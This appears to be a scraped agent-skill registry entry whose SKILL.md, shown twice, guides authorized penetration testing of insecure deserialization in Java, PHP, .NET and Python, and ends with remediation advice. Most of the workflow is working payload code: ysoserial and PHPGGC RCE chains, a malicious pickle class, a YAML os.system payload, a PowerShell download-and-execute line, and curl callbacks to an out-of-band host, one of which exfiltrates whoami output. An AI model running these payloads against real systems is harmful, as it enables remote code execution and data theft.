[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7E3SS7WVYY8D9Q287RJB8XA":3,"skill-same:01M7E3SS7WVYY8D9Q287RJB8XA":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":49,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":52,"updatedAt":53,"install":54,"resources":67},"01M7E3SS7WVYY8D9Q287RJB8XA","exploiting-insecure-deserialization",null,"Identifying and exploiting insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications to achieve remote code execution during authorized penetration tests.","sanjeevafk\u002Fagent-skills","sanjeevafk","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F230678117?v=4","01M7C540EFY46ETG1NNWKS5X3Q","Sanjeev","01M7C540F366J5C1D587BMKH9Q",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-insecure-deserialization\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-insecure-deserialization\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-insecure-deserialization\ndescription: Identifying and exploiting insecure deserialization vulnerabilities in\n  Java, PHP, Python, and .NET applications to achieve remote code execution during\n  authorized penetration tests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- deserialization\n- rce\n- owasp\n- web-security\n- ysoserial\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Exploiting Insecure Deserialization\n\n## When to Use\n\n- During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues)\n- When identifying Java serialization markers (`ac ed 00 05` \u002F `rO0AB`) in HTTP traffic\n- For testing PHP applications that use `unserialize()` on user-controlled input\n- When evaluating .NET applications using `BinaryFormatter`, `ObjectStateFormatter`, or `ViewState`\n- During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **ysoserial**: Java deserialization exploit tool (`git clone https:\u002F\u002Fgithub.com\u002Ffrohoff\u002Fysoserial.git`)\n- **ysoserial.net**: .NET deserialization exploit tool (`git clone https:\u002F\u002Fgithub.com\u002Fpwntester\u002Fysoserial.net.git`)\n- **PHPGGC**: PHP deserialization gadget chain generator (`git clone https:\u002F\u002Fgithub.com\u002Fambionics\u002Fphpggc.git`)\n- **Burp Suite Professional**: With Java Deserialization Scanner extension\n- **Java Runtime**: For running ysoserial\n- **Collaborator\u002Finteractsh**: For out-of-band confirmation of code execution\n\n## Workflow\n\n### Step 1: Identify Serialized Data in Application Traffic\n\nDetect serialized objects in HTTP parameters, cookies, and headers.\n\n```bash\n# Java serialization markers\n# Binary: starts with 0xACED0005\n# Base64: starts with rO0AB\n# Gzip+Base64: starts with H4sIAAAAAAAA\n\n# Search Burp proxy history for serialization signatures\n# In Burp: Proxy > HTTP History > Search > \"rO0AB\"\n\n# Check cookies and parameters for Base64-encoded serialized data\necho \"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA...\" | base64 -d | xxd | head\n\n# PHP serialization format\n# Looks like: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:4:\"user\";}\n# a:2:{i:0;s:5:\"hello\";i:1;s:5:\"world\";}\n\n# .NET ViewState\n# __VIEWSTATE parameter in ASP.NET forms\n# Starts with \u002FwEP... (base64)\n\n# Python pickle\n# Base64 encoded pickle objects in cookies or API parameters\n# Binary starts with 0x80 (protocol version)\n\n# Common locations to check:\n# - Session cookies\n# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)\n# - API request\u002Fresponse bodies\n# - WebSocket messages\n# - Message queue payloads (JMS, RabbitMQ, Redis)\n# - Cache entries (Memcached, Redis)\n```\n\n### Step 2: Test Java Deserialization with ysoserial\n\nGenerate deserialization payloads for Java applications.\n\n```bash\n# List available gadget chains\njava -jar ysoserial.jar 2>&1 | grep -E \"^\\s+\\w\"\n\n# Generate DNS callback payload for detection (safest test)\njava -jar ysoserial.jar URLDNS \"http:\u002F\u002Fjava-deser.abc123.oast.fun\" | base64 -w0\n\n# Test with Burp Collaborator\n# Replace serialized cookie\u002Fparameter with generated payload\n# Check Collaborator for DNS\u002FHTTP callbacks\n\n# Generate RCE payloads with common gadget chains\n# CommonsCollections (very common in Java apps)\njava -jar ysoserial.jar CommonsCollections1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Frce\" | base64 -w0\njava -jar ysoserial.jar CommonsCollections5 \"whoami\" | base64 -w0\njava -jar ysoserial.jar CommonsCollections6 \"id\" | base64 -w0\n\n# Spring Framework gadget\njava -jar ysoserial.jar Spring1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fspring\" | base64 -w0\n\n# Hibernate gadget\njava -jar ysoserial.jar Hibernate1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fhibernate\" | base64 -w0\n\n# Send payload via curl\nPAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fconfirm\" | base64 -w0)\ncurl -s -X POST \\\n  -b \"session=$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\"\n```\n\n### Step 3: Test PHP Deserialization with PHPGGC\n\nGenerate PHP gadget chains for common frameworks.\n\n```bash\n# List available PHP gadget chains\n.\u002Fphpggc -l\n\n# Generate payloads for common PHP frameworks\n# Laravel RCE\n.\u002Fphpggc Laravel\u002FRCE1 system \"id\" -b\n.\u002Fphpggc Laravel\u002FRCE5 system \"whoami\" -b\n\n# Symfony RCE\n.\u002Fphpggc Symfony\u002FRCE4 exec \"curl http:\u002F\u002Fabc123.oast.fun\u002Fphp-rce\" -b\n\n# WordPress (via Guzzle)\n.\u002Fphpggc Guzzle\u002FRCE1 system \"id\" -b\n\n# Monolog RCE\n.\u002Fphpggc Monolog\u002FRCE1 system \"id\" -b\n\n# Test by injecting into cookie or parameter\nPAYLOAD=$(.\u002Fphpggc Laravel\u002FRCE1 system \"curl http:\u002F\u002Fabc123.oast.fun\u002Flaravel\" -b)\ncurl -s -b \"serialized_data=$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\"\n\n# PHP object injection via manipulated serialized string\n# Original: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:4:\"user\";}\n# Modified: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:5:\"admin\";}\n\n# Test for type juggling with PHP unserialize\n# Change string to integer: s:4:\"role\" -> i:1\n```\n\n### Step 4: Test .NET Deserialization\n\nAssess ViewState and other .NET serialization vectors.\n\n```bash\n# Analyze .NET ViewState\n# Check if ViewState MAC is enabled\n# Unprotected ViewState starts with \u002FwE and can be decoded\n\n# Using ysoserial.net for .NET payloads\n# (Run on Windows or via Mono on Linux)\n.\u002Fysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \\\n  -c \"curl http:\u002F\u002Fabc123.oast.fun\u002Fdotnet-rce\" -o base64\n\n.\u002Fysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \\\n  -c \"whoami\" -o base64\n\n# Test ViewState deserialization\n# If __VIEWSTATEMAC is disabled or machine key is known:\n.\u002Fysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \\\n  -c \"powershell -c IEX(curl http:\u002F\u002Fabc123.oast.fun\u002Fps)\" -o base64\n\n# Insert payload into __VIEWSTATE parameter and submit form\n\n# Check for .NET remoting endpoints\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fremoting\u002Fservice.rem\"\n\n# BinaryFormatter in API endpoints\n# Look for Content-Type: application\u002Foctet-stream\n# or application\u002Fx-msbin headers\n```\n\n### Step 5: Test Python Pickle Deserialization\n\nExploit pickle-based deserialization in Python applications.\n\n```python\n# Generate malicious pickle payload\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, ('curl http:\u002F\u002Fabc123.oast.fun\u002Fpickle-rce',))\n\npayload = base64.b64encode(pickle.dumps(Exploit())).decode()\nprint(f\"Pickle payload: {payload}\")\n\n# Alternative: Use pickletools for analysis\nimport pickletools\npickletools.dis(pickle.dumps(Exploit()))\n```\n\n```bash\n# Send pickle payload\nPAYLOAD=$(python3 -c \"\nimport pickle, base64, os\nclass E:\n    def __reduce__(self):\n        return (os.system, ('curl http:\u002F\u002Fabc123.oast.fun\u002Fpickle',))\nprint(base64.b64encode(pickle.dumps(E())).decode())\n\")\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Foctet-stream\" \\\n  -d \"$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fimport\"\n\n# Check for YAML deserialization (PyYAML)\n# Payload: !!python\u002Fobject\u002Fapply:os.system ['curl http:\u002F\u002Fabc123.oast.fun\u002Fyaml']\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fx-yaml\" \\\n  -d \"!!python\u002Fobject\u002Fapply:os.system ['curl http:\u002F\u002Fabc123.oast.fun\u002Fyaml']\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fconfig\"\n```\n\n### Step 6: Confirm Exploitation and Document Impact\n\nValidate successful deserialization attacks and document the impact chain.\n\n```bash\n# Confirm RCE with out-of-band callback\n# Check interactsh\u002FCollaborator for:\n# 1. DNS resolution of your callback domain\n# 2. HTTP request with command output\n# 3. Timing-based confirmation (sleep commands)\n\n# If blind, use timing-based confirmation\n# Java: Thread.sleep(10000)\njava -jar ysoserial.jar CommonsCollections5 \"sleep 10\" | base64 -w0\n# Measure if response takes ~10 seconds longer\n\n# Exfiltrate system info (authorized testing only)\njava -jar ysoserial.jar CommonsCollections5 \\\n  \"curl http:\u002F\u002Fabc123.oast.fun\u002F\\$(whoami)\" | base64 -w0\n\n# Document the gadget chain and affected library versions\n# Check target classpath for vulnerable libraries:\n# - commons-collections 3.x \u002F 4.0\n# - spring-core\n# - hibernate-core\n# - groovy\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Serialization** | Converting an object into a byte stream for storage or transmission |\n| **Deserialization** | Reconstructing an object from a byte stream, potentially executing code |\n| **Gadget Chain** | A sequence of existing class methods chained together to achieve arbitrary code execution |\n| **Magic Methods** | Special methods called automatically during deserialization (`__wakeup`, `__destruct` in PHP, `readObject` in Java) |\n| **ViewState** | ASP.NET mechanism for persisting page state, often containing serialized objects |\n| **Pickle** | Python's native serialization format, inherently unsafe for untrusted data |\n| **URLDNS Gadget** | A Java gadget that triggers DNS lookup, useful for safe deserialization detection |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **ysoserial** | Java deserialization payload generator with multiple gadget chains |\n| **ysoserial.net** | .NET deserialization payload generator |\n| **PHPGGC** | PHP Generic Gadget Chains for multiple frameworks |\n| **Burp Java Deserialization Scanner** | Automated detection of Java deserialization vulnerabilities |\n| **marshalsec** | Java unmarshaller exploitation for various libraries |\n| **Freddy (Burp Extension)** | Detects deserialization issues in multiple languages |\n\n## Common Scenarios\n\n### Scenario 1: Java Session Cookie RCE\nA Java application stores session data as serialized objects in cookies. The `rO0AB` prefix reveals Java serialization. Using ysoserial with CommonsCollections gadget chain achieves remote code execution.\n\n### Scenario 2: PHP Laravel Unserialize\nA Laravel application passes serialized data through a hidden form field. Using PHPGGC to generate a Laravel RCE gadget chain achieves command execution when the form is submitted.\n\n### Scenario 3: .NET ViewState Without MAC\nAn ASP.NET application has ViewState MAC validation disabled. Using ysoserial.net to generate a malicious ViewState payload achieves code execution when the page processes the modified ViewState.\n\n### Scenario 4: Python Pickle in Redis Cache\nA Python web application stores pickled objects in Redis for caching. By poisoning the cache with a malicious pickle payload, code execution is triggered when the application deserializes the cached object.\n\n## Output Format\n\n```\n## Insecure Deserialization Finding\n\n**Vulnerability**: Insecure Deserialization - Remote Code Execution\n**Severity**: Critical (CVSS 9.8)\n**Location**: Cookie `user_session` (Java serialized object)\n**OWASP Category**: A08:2021 - Software and Data Integrity Failures\n\n### Reproduction Steps\n1. Capture the `user_session` cookie value (starts with rO0AB)\n2. Generate payload: java -jar ysoserial.jar CommonsCollections5 \"id\"\n3. Base64 encode and replace the cookie value\n4. Send request; command executes on the server\n\n### Vulnerable Library\n- commons-collections 3.2.1 (CVE-2015-7501)\n- Java Runtime: OpenJDK 11.0.15\n\n### Confirmed Impact\n- Remote Code Execution as `tomcat` user\n- Server OS: Ubuntu 22.04 LTS\n- Internal network access confirmed via reverse shell\n- Database credentials accessible from application config\n\n### Recommendation\n1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead\n2. Upgrade commons-collections to 4.1+ (patched version)\n3. Implement deserialization filters (JEP 290 for Java 9+)\n4. Use allowlists for permitted classes during deserialization\n5. Implement integrity checks (HMAC) on serialized data before deserialization\n```\n","# Exploiting Insecure Deserialization\n\n## When to Use\n\n- During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues)\n- When identifying Java serialization markers (`ac ed 00 05` \u002F `rO0AB`) in HTTP traffic\n- For testing PHP applications that use `unserialize()` on user-controlled input\n- When evaluating .NET applications using `BinaryFormatter`, `ObjectStateFormatter`, or `ViewState`\n- During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **ysoserial**: Java deserialization exploit tool (`git clone https:\u002F\u002Fgithub.com\u002Ffrohoff\u002Fysoserial.git`)\n- **ysoserial.net**: .NET deserialization exploit tool (`git clone https:\u002F\u002Fgithub.com\u002Fpwntester\u002Fysoserial.net.git`)\n- **PHPGGC**: PHP deserialization gadget chain generator (`git clone https:\u002F\u002Fgithub.com\u002Fambionics\u002Fphpggc.git`)\n- **Burp Suite Professional**: With Java Deserialization Scanner extension\n- **Java Runtime**: For running ysoserial\n- **Collaborator\u002Finteractsh**: For out-of-band confirmation of code execution\n\n## Workflow\n\n### Step 1: Identify Serialized Data in Application Traffic\n\nDetect serialized objects in HTTP parameters, cookies, and headers.\n\n```bash\n# Java serialization markers\n# Binary: starts with 0xACED0005\n# Base64: starts with rO0AB\n# Gzip+Base64: starts with H4sIAAAAAAAA\n\n# Search Burp proxy history for serialization signatures\n# In Burp: Proxy > HTTP History > Search > \"rO0AB\"\n\n# Check cookies and parameters for Base64-encoded serialized data\necho \"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA...\" | base64 -d | xxd | head\n\n# PHP serialization format\n# Looks like: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:4:\"user\";}\n# a:2:{i:0;s:5:\"hello\";i:1;s:5:\"world\";}\n\n# .NET ViewState\n# __VIEWSTATE parameter in ASP.NET forms\n# Starts with \u002FwEP... (base64)\n\n# Python pickle\n# Base64 encoded pickle objects in cookies or API parameters\n# Binary starts with 0x80 (protocol version)\n\n# Common locations to check:\n# - Session cookies\n# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)\n# - API request\u002Fresponse bodies\n# - WebSocket messages\n# - Message queue payloads (JMS, RabbitMQ, Redis)\n# - Cache entries (Memcached, Redis)\n```\n\n### Step 2: Test Java Deserialization with ysoserial\n\nGenerate deserialization payloads for Java applications.\n\n```bash\n# List available gadget chains\njava -jar ysoserial.jar 2>&1 | grep -E \"^\\s+\\w\"\n\n# Generate DNS callback payload for detection (safest test)\njava -jar ysoserial.jar URLDNS \"http:\u002F\u002Fjava-deser.abc123.oast.fun\" | base64 -w0\n\n# Test with Burp Collaborator\n# Replace serialized cookie\u002Fparameter with generated payload\n# Check Collaborator for DNS\u002FHTTP callbacks\n\n# Generate RCE payloads with common gadget chains\n# CommonsCollections (very common in Java apps)\njava -jar ysoserial.jar CommonsCollections1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Frce\" | base64 -w0\njava -jar ysoserial.jar CommonsCollections5 \"whoami\" | base64 -w0\njava -jar ysoserial.jar CommonsCollections6 \"id\" | base64 -w0\n\n# Spring Framework gadget\njava -jar ysoserial.jar Spring1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fspring\" | base64 -w0\n\n# Hibernate gadget\njava -jar ysoserial.jar Hibernate1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fhibernate\" | base64 -w0\n\n# Send payload via curl\nPAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fconfirm\" | base64 -w0)\ncurl -s -X POST \\\n  -b \"session=$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\"\n```\n\n### Step 3: Test PHP Deserialization with PHPGGC\n\nGenerate PHP gadget chains for common frameworks.\n\n```bash\n# List available PHP gadget chains\n.\u002Fphpggc -l\n\n# Generate payloads for common PHP frameworks\n# Laravel RCE\n.\u002Fphpggc Laravel\u002FRCE1 system \"id\" -b\n.\u002Fphpggc Laravel\u002FRCE5 system \"whoami\" -b\n\n# Symfony RCE\n.\u002Fphpggc Symfony\u002FRCE4 exec \"curl http:\u002F\u002Fabc123.oast.fun\u002Fphp-rce\" -b\n\n# WordPress (via Guzzle)\n.\u002Fphpggc Guzzle\u002FRCE1 system \"id\" -b\n\n# Monolog RCE\n.\u002Fphpggc Monolog\u002FRCE1 system \"id\" -b\n\n# Test by injecting into cookie or parameter\nPAYLOAD=$(.\u002Fphpggc Laravel\u002FRCE1 system \"curl http:\u002F\u002Fabc123.oast.fun\u002Flaravel\" -b)\ncurl -s -b \"serialized_data=$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\"\n\n# PHP object injection via manipulated serialized string\n# Original: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:4:\"user\";}\n# Modified: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:5:\"admin\";}\n\n# Test for type juggling with PHP unserialize\n# Change string to integer: s:4:\"role\" -> i:1\n```\n\n### Step 4: Test .NET Deserialization\n\nAssess ViewState and other .NET serialization vectors.\n\n```bash\n# Analyze .NET ViewState\n# Check if ViewState MAC is enabled\n# Unprotected ViewState starts with \u002FwE and can be decoded\n\n# Using ysoserial.net for .NET payloads\n# (Run on Windows or via Mono on Linux)\n.\u002Fysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \\\n  -c \"curl http:\u002F\u002Fabc123.oast.fun\u002Fdotnet-rce\" -o base64\n\n.\u002Fysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \\\n  -c \"whoami\" -o base64\n\n# Test ViewState deserialization\n# If __VIEWSTATEMAC is disabled or machine key is known:\n.\u002Fysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \\\n  -c \"powershell -c IEX(curl http:\u002F\u002Fabc123.oast.fun\u002Fps)\" -o base64\n\n# Insert payload into __VIEWSTATE parameter and submit form\n\n# Check for .NET remoting endpoints\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fremoting\u002Fservice.rem\"\n\n# BinaryFormatter in API endpoints\n# Look for Content-Type: application\u002Foctet-stream\n# or application\u002Fx-msbin headers\n```\n\n### Step 5: Test Python Pickle Deserialization\n\nExploit pickle-based deserialization in Python applications.\n\n```python\n# Generate malicious pickle payload\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, ('curl http:\u002F\u002Fabc123.oast.fun\u002Fpickle-rce',))\n\npayload = base64.b64encode(pickle.dumps(Exploit())).decode()\nprint(f\"Pickle payload: {payload}\")\n\n# Alternative: Use pickletools for analysis\nimport pickletools\npickletools.dis(pickle.dumps(Exploit()))\n```\n\n```bash\n# Send pickle payload\nPAYLOAD=$(python3 -c \"\nimport pickle, base64, os\nclass E:\n    def __reduce__(self):\n        return (os.system, ('curl http:\u002F\u002Fabc123.oast.fun\u002Fpickle',))\nprint(base64.b64encode(pickle.dumps(E())).decode())\n\")\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Foctet-stream\" \\\n  -d \"$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fimport\"\n\n# Check for YAML deserialization (PyYAML)\n# Payload: !!python\u002Fobject\u002Fapply:os.system ['curl http:\u002F\u002Fabc123.oast.fun\u002Fyaml']\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fx-yaml\" \\\n  -d \"!!python\u002Fobject\u002Fapply:os.system ['curl http:\u002F\u002Fabc123.oast.fun\u002Fyaml']\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fconfig\"\n```\n\n### Step 6: Confirm Exploitation and Document Impact\n\nValidate successful deserialization attacks and document the impact chain.\n\n```bash\n# Confirm RCE with out-of-band callback\n# Check interactsh\u002FCollaborator for:\n# 1. DNS resolution of your callback domain\n# 2. HTTP request with command output\n# 3. Timing-based confirmation (sleep commands)\n\n# If blind, use timing-based confirmation\n# Java: Thread.sleep(10000)\njava -jar ysoserial.jar CommonsCollections5 \"sleep 10\" | base64 -w0\n# Measure if response takes ~10 seconds longer\n\n# Exfiltrate system info (authorized testing only)\njava -jar ysoserial.jar CommonsCollections5 \\\n  \"curl http:\u002F\u002Fabc123.oast.fun\u002F\\$(whoami)\" | base64 -w0\n\n# Document the gadget chain and affected library versions\n# Check target classpath for vulnerable libraries:\n# - commons-collections 3.x \u002F 4.0\n# - spring-core\n# - hibernate-core\n# - groovy\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Serialization** | Converting an object into a byte stream for storage or transmission |\n| **Deserialization** | Reconstructing an object from a byte stream, potentially executing code |\n| **Gadget Chain** | A sequence of existing class methods chained together to achieve arbitrary code execution |\n| **Magic Methods** | Special methods called automatically during deserialization (`__wakeup`, `__destruct` in PHP, `readObject` in Java) |\n| **ViewState** | ASP.NET mechanism for persisting page state, often containing serialized objects |\n| **Pickle** | Python's native serialization format, inherently unsafe for untrusted data |\n| **URLDNS Gadget** | A Java gadget that triggers DNS lookup, useful for safe deserialization detection |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **ysoserial** | Java deserialization payload generator with multiple gadget chains |\n| **ysoserial.net** | .NET deserialization payload generator |\n| **PHPGGC** | PHP Generic Gadget Chains for multiple frameworks |\n| **Burp Java Deserialization Scanner** | Automated detection of Java deserialization vulnerabilities |\n| **marshalsec** | Java unmarshaller exploitation for various libraries |\n| **Freddy (Burp Extension)** | Detects deserialization issues in multiple languages |\n\n## Common Scenarios\n\n### Scenario 1: Java Session Cookie RCE\nA Java application stores session data as serialized objects in cookies. The `rO0AB` prefix reveals Java serialization. Using ysoserial with CommonsCollections gadget chain achieves remote code execution.\n\n### Scenario 2: PHP Laravel Unserialize\nA Laravel application passes serialized data through a hidden form field. Using PHPGGC to generate a Laravel RCE gadget chain achieves command execution when the form is submitted.\n\n### Scenario 3: .NET ViewState Without MAC\nAn ASP.NET application has ViewState MAC validation disabled. Using ysoserial.net to generate a malicious ViewState payload achieves code execution when the page processes the modified ViewState.\n\n### Scenario 4: Python Pickle in Redis Cache\nA Python web application stores pickled objects in Redis for caching. By poisoning the cache with a malicious pickle payload, code execution is triggered when the application deserializes the cached object.\n\n## Output Format\n\n```\n## Insecure Deserialization Finding\n\n**Vulnerability**: Insecure Deserialization - Remote Code Execution\n**Severity**: Critical (CVSS 9.8)\n**Location**: Cookie `user_session` (Java serialized object)\n**OWASP Category**: A08:2021 - Software and Data Integrity Failures\n\n### Reproduction Steps\n1. Capture the `user_session` cookie value (starts with rO0AB)\n2. Generate payload: java -jar ysoserial.jar CommonsCollections5 \"id\"\n3. Base64 encode and replace the cookie value\n4. Send request; command executes on the server\n\n### Vulnerable Library\n- commons-collections 3.2.1 (CVE-2015-7501)\n- Java Runtime: OpenJDK 11.0.15\n\n### Confirmed Impact\n- Remote Code Execution as `tomcat` user\n- Server OS: Ubuntu 22.04 LTS\n- Internal network access confirmed via reverse shell\n- Database credentials accessible from application config\n\n### Recommendation\n1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead\n2. Upgrade commons-collections to 4.1+ (patched version)\n3. Implement deserialization filters (JEP 290 for Java 9+)\n4. Use allowlists for permitted classes during deserialization\n5. Implement integrity checks (HMAC) on serialized data before deserialization\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":40,"description":7,"mitre_attack":41},[26,27,28,29,30,31],"penetration-testing","deserialization","rce","owasp","web-security","ysoserial","mahipal","cybersecurity","1.0",[36,37,38,39],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[42,43,44,45],"T1190","T1059.007","T1505.003","T1083","main","4e084e84eb42fc53e144c89c0f7f48b39c8a4b0f","collections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-insecure-deserialization",1,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills","https:\u002F\u002Fgithub.com\u002Fsanjeevafk","First make it work. Then make it right. Then make it fast.","2026-11-14 13:36:16",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add sanjeevafk\u002Fagent-skills --skill exploiting-insecure-deserialization",{"tool":60,"command":61},"bunx","bunx skills add sanjeevafk\u002Fagent-skills --skill exploiting-insecure-deserialization",{"tool":63,"command":64},"pnpm","pnpm dlx skills add sanjeevafk\u002Fagent-skills --skill exploiting-insecure-deserialization","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-insecure-deserialization\u002FSKILL.md",true,[68,72,78],{"path":69,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":73,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":77},"references\u002Fapi-reference.md","REFERENCE","参考文档",2009,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-insecure-deserialization\u002Freferences\u002Fapi-reference.md",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"scripts\u002Fagent.py","SCRIPT","脚本",6381,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-insecure-deserialization\u002Fscripts\u002Fagent.py",[85,93,101,109,117,124],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7EFHX67M3KKXT1BXVPA5ADT","zarr-python","Chunked N-D arrays for cloud storage (Zarr-Python 3). Compressed arrays, parallel I\u002FO, S3\u002FGCS via fsspec, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","MIT","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzarr-python\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":97,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":20},"01M7EFFQGM51TZBGRENXY50ZYM","whiteboard-diagrams","Create accurate, simple, hand-drawn whiteboard diagrams from a user's process, system, architecture, learning workflow, comparison, or causal explanation. Use when the user asks for a scribbly whiteboard visual, educational workflow graphic, hand-drawn explainer, or diagram like the bundled reference; ask one focused clarification question when the subject or relationships are missing, then generate and visually verify the final 